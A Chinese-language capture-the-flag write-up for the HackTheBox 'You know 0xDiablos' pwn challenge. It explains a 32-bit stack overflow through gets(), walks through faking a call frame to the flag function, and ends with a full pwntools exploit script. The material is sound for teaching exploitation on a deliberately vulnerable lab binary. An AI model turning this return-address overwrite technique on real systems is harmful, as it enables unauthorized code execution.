引言

  • 项目概述：HTB的EASY难度 PWN靶机 You know 0xDiablos https://app.hackthebox.com/challenges/106 本文详细解释了溢出payload的结构以及为什么要这样构造，友好的为想要入手PWN的朋友解释了原理
  • 技术点涉及: 32位linux逆向、32位程序调用、栈溢出
  • 目标与读者：网络安全兴趣爱好者、PWN新手

基本情况

运行看看

1
2
3
4
└─$ ./vuln   
You know who are 0xDiablos: 
aaaa
aaaa

输入啥，就吐出啥

使用checksec查一下保护

1
2
3
4
5
6
7
8
9
─$ checksec vuln      
[*] '/home/att/htb/Youknow0xDiablos/vuln'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX unknown - GNU_STACK missing
    PIE:      No PIE (0x8048000)
    Stack:    Executable
    RWX:      Has RWX segments

意思是没有任何保护，实实在在的新手题，可以更聚焦栈溢出的核心原理

逆向分析

将程序放到IDA分析

主函数中发现一个叫做vuln的函数
应该就是目标了

gets()很标准的高危函数

这里有个数组s距离ebp B8H
gets(s)，那么就可以利用这个s数组进行溢出
junk = b'a'*0xB8

想象下，我们输入了大量垃圾内容，从栈的某个位置一直写到栈的底部，栈底指针EBP指向的是父函数的EBP值，然后EBP+0x4的位置就是存放的当前函数的返回地址(父函数调用当前函数后的下一行指令地址)
是不是多写点就可以改变函数的运行

那么攻击载荷就可以这样大致构建了
payload = junk + ebp+ret

很明显，是要我去分析那个flag函数

flag函数打开了flag.txt，如果两个参数比较成功就会返回读取的值
就是说我还得在栈中构建好两个参数
最终的攻击载荷大致就是这个结构
payload = junk + ebp+ret + ret2 + arg1 + arg2

call逻辑讲解

这里来讲解下为什么要这么构建payload
由于IDA F5是变成了伪C代码，所以调用约定是C的调用约定
32位程序，参数从右至左，依次入栈

正常call flag的流程如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
push arg2
push arg1

call flag_addr

xxxcommand

flag:
/*进入函数前相当于做个这个操作，这里我是用汇编命令做比喻，而不是真的执行了这两个命令
push ret(xxxcommand的地址)
mov eip ,flag_addr
*/

    ; 保存返回地址
    push ebp
    mov ebp, esp

    ; 访问第一个参数（eax）
    mov eax, [ebp + 8]

    ; 访问第二个参数（ebx）
    mov ebx, [ebp + 12]

    ; 执行函数体
    ; ...

    ; 恢复返回地址
    mov esp, ebp
    pop ebp
    ret

而我要伪造一个call，就需要在栈里面调整好参数的站位，而且要注意我使用ret，而不是call，ret不会push一个地址进去。下面我会详细讲解为什么payload是这样构造的，结构为什么这样排列

1
2
3
4
5
6
7
正常call的栈

	ebp_调用flag函数的EBP指针的值（进入函数后第一个指令就是push ebp,这里打个Tab用来区分其他已有的内容）

ret_addr_调用flag函数的下一行指令的地址
arg1
arg2

而我要调用flag，就得将返回地址覆盖为flag的地址
大致的载荷构建结构如下

1
2
3
4
5
xxxxx垃圾数据
+
ebp_调用flag的父函数的ebp
+
flag()的地址

而且flag还有参数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
xxxxx垃圾数据
+
ebp_随便一个EBP地址，反正不用回主函数了
+
flag()函数的地址
+
    （这个在载荷中去掉，理由是从返回结果推导得到）ebp_随便一个EBP地址，反正不用回vuln函数了(正常call才要这个)，这里是直接用的ret跳到flag()了
+
	ret_回vuln的地址，为什么我会留下作为理解，而不是ebp，是因为实际进入flag()函数的时候，栈顶的位置就应该是返回地址而不是ebp，后面执行第一个指令`push ebp`，才会将ebp写入栈顶，而且flag()执行完毕后最终会返回到这个地址

+
arg1
+
arg2

所以32位的paylaod像这构造

1
payload = junk + ebp + ret + ret2 + arg1 + arg2

发送payload

可以看到刚进flag函数的时候
栈顶的值是这样，这时候还没有执行push ebp，说明如果这是正常的call的话，这里存放的应该是调用flag()的下一行指令的地址，也就是flag()执行完毕后需要返回的地址，这里的ebp的值是0x62626262是因为ebp=b'b'*4，我随便写的四个b在哪里占位置

1
0xffce8ac0:     0xdeadbeef63636363

完整的poc如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *

target='./vuln'
# context.binary指定了目标程序后，例如pack就可以自动根据目标是多少位来打包

context.binary = target
e = ELF(target)
# 远程连接
r=remote('83.136.253.163', 37682)

# 本地执行
# r=process(target)

# 本地调用gdb进行调试
# r=gdb.debug(target)
junk=b'a'*0xB8
ebp=b'b'*4
ret=0x080491E2
ret2=b'c'*4
arg1=0xDEADBEEF
arg2=0xC0DED00D
# pack 根据context.binary的环境来打包，这里由于是32位可执行文件，所以这里的pack可以视同为p32,打包为32位小端字节序
payload=junk+ebp+pack(ret)+ret2+pack(arg1)+pack(arg2)
# print(payload)
tmp=r.sendlineafter(b'You know who are 0xDiablos:', payload)
# 转化为交互式，就不用一直print输出的值了
r.interactive()